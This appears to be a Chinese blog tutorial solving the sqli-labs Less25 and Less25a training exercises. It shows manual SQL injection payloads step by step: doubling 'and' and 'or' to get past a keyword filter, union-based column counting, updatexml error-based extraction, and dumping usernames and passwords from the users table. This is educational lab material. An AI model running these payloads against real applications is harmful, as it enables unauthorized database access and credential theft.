(手工)【sqli-labs25-25a】报错注入、OR&AND过滤后注入

目录

推荐:

一、(手工)SQL注入基本步骤:

二、Less25(GET-Error based - All your OR & AND belong to us-string single quote)

2.1、简介:(OR&AND过滤-报错回显)

2.2、第一步:注入点测试

 2.3、第二步:分析过滤

2.4、第三步:判断字段数

2.5、第四步:暴库

2.6、第五步:爆表名

2.7、第六步:爆字段

2.8、第七步:爆数据

二、Less25a(GET-Blind based - All your OR & AND belong to us-Intiger based )

2.1、简介:(Cookie注入-双引号)

2.2、利用过程:


推荐:

【SQL注入】数字型注入 & 字符型注入icon-default.png?t=M666https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501

【WAF绕过】SQL注入、文件上传、XSShttps://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450



一、(手工)SQL注入基本步骤:

第一步:注入点测试

第二步:分析权限

第三步:判断字段数

第四步:爆数据库名

第五步:爆表名

第六步:爆字段名

第七步:爆数据



二、Less25(GET-Error based - All your OR & AND belong to us-string single quote)

2.1、简介:(OR&AND过滤-报错回显)

请求方法:GET

方法:过滤分析+报错回显

2.2、第一步:注入点测试

输入?id=1

 后面加上单引号发现报错了

说明是单引号闭合

且可利用报错回显

 2.3、第二步:分析过滤

?id=1'  and 1=1 --+

报错

输入?id=1'  --+

回显正常

 输入?id=1'  anandd 1=1--+

回显正常

说明and被过滤,且只过滤了一遍


同理:

?id=1' or 1=1 --+

?id=1' oorr 1=1 --+

可以发现or也被过滤了


and 可以使用 && 替换

or 使用 || 替换


构造的语句中只要包含or或者and的都要双写

或者替换

2.4、第三步:判断字段数

?id=1'  union select 1,2,3 --+

?id=1'  union select 1,2,3,4 --+

报错

 字段数为3

2.5、第四步:暴库

?id=1'  union select 1,2,database() --+

被过滤了,那就多嵌套几层

 ?id=1'  union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1),3 --+

 或者

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

2.6、第五步:爆表名

?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1),3--+

 或者

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

2.7、第六步:爆字段

?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e),1),3--+

2.8、第七步:爆数据

?id=-1' union select 1,2,group_concat(username,'~',passwoorrd) from security.users  --+



二、Less25a(GET-Blind based - All your OR & AND belong to us-Intiger based )

2.1、简介:(Cookie注入-双引号)

请求方法:GET

方法:过滤分析+报错回显

2.2、利用过程:

尝试单引号,不行

尝试双引号,也不行

说明是数字型注入(不需要考虑不和)

后面基本上和Less25一样了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值